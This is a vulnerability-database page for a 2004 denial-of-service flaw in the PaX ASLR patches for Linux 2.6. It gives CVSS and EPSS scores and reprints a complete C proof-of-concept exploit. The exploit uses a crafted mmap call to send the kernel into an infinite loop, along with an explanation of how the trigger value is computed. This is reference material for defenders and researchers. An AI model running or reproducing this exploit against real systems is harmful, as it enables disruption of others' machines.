CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The arch_get_unmapped_area function in mmap.c in the PaX patches for Linux kernel 2.6, when Address Space Layout Randomization (ASLR) is enabled, allows local users to cause a denial of service (infinite loop) via unknown attack vectors.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.92%
–
–
2022-02-13
–
–
1.92%
–
–
2022-04-03
–
–
1.92%
–
–
2022-06-26
–
–
1.92%
–
–
2022-11-13
–
–
1.92%
–
–
2022-11-20
–
–
1.92%
–
–
2022-12-11
–
–
1.92%
–
–
2022-12-18
–
–
1.92%
–
–
2022-12-25
–
–
1.92%
–
–
2023-01-01
–
–
1.92%
–
–
2023-02-12
–
–
1.92%
–
–
2023-03-12
–
–
–
0.04%
–
2024-01-14
–
–
–
0.04%
–
2024-02-25
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-09
–
–
–
0.04%
–
2024-10-27
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/10264/info
PaX for 2.6 series Linux kernels has been reported prone to a local denial of service vulnerability. The issue is reported to present itself when PaX Address Space Layout Randomization Layout (ASLR) is enabled.
The vulnerability may be exploited by a local attacker to influence the kernel into an infinite loop.
*/
/*
PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept
by Shadowinteger <shadowinteger@sentinix.org>
2004-05-04
Written after reading the security advisory posted by borg (ChrisR-) on
Bugtraq 2004-05-03 (my time). ChrisR -> www.cr-secure.net
Acknowledgments: sabu (www.sabu.net)
Vulnerability:
PaX code for 2.6.x prior to 2004-05-01 in arch_get_unmapped_area()
(function in mm/mmap.c) is vulnerable to a local Denial of Service attack
because of a bug that puts the kernel into an infinite loop.
Read the security advisory for more info:
http://www.securityfocus.com/archive/1/361968/2004-04-30/2004-05-06/0
Exploitation:
We need to get passed the following line of code in
arch_get_unmapped_area() to succeed with a DoS:
if (TASK_SIZE - len < addr) { ...
We do it like this:
TASK_SIZE - TYPICAL_ADDR + SINK = DOSVAL
DOSVAL is the value we'll use.
arch_get_unmapped_area() does the following:
if TASK_SIZE-DOSVAL < TYPICAL_ADDR then... run right into the vuln code.
(TASK_SIZE-DOSVAL) *must* be less than TYPICAL_ADDR to succeed.
A DOSVAL of e.g. 0x80000000 or above will work most times, no real need
for the funky calculation above.
There are quite a few functions available that are "front-ends" to
arch_get_unmapped_area(). This exploit uses good-old mmap().
Tiny DoS PoC:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
int main(void){int fd=open("/dev/zero",O_RDONLY);mmap(0,0xa0000000,PROT_READ,MAP_PRIVATE,fd,0);}
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
#define TASK_SIZE 0xc0000000
#define TYPICAL_ADDR 0x43882000
#define SINK 0x04000000
#define DOSVAL (TASK_SIZE - TYPICAL_ADDR + SINK)
int main() {
int fd = open("/dev/zero", O_RDONLY);
printf("PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept\n"
"by Shadowinteger <shadowinteger@sentinix.org> 20040504\n"
"created after a sec advisory on bugtraq posted by borg (ChrisR-) 20040503\n"
"ChrisR -> www.cr-secure.net\n"
"\n"
"the exploit binary must be marked PF_PAX_RANDMMAP to work!\n"
"\n"
"greetz goes to: sabu (www.sabu.net)\n"
"\n"
"------------------------------------------------------------------------------\n"
"will exec \"mmap(0, 0x%x, PROT_READ, MAP_PRIVATE, fd, 0);\"\n"
"\n"
"if you run Linux 2.6.x-PaX or -grsec, this may \"hurt\" your CPU(s) a little,\n"
"are you sure you want to continue? [type Y to continue] ", DOSVAL);
fflush(stdout);
if (getchar() != 'Y') {
printf("aborted.\n");
return 0;
}
printf("\n"
"attempting to DoS...\n");
if (mmap(0, DOSVAL, PROT_READ, MAP_PRIVATE, fd, 0) == MAP_FAILED) {
perror("mmap");
}
printf("your kernel does not seem to be vulnerable! :)\n");
return 0;
}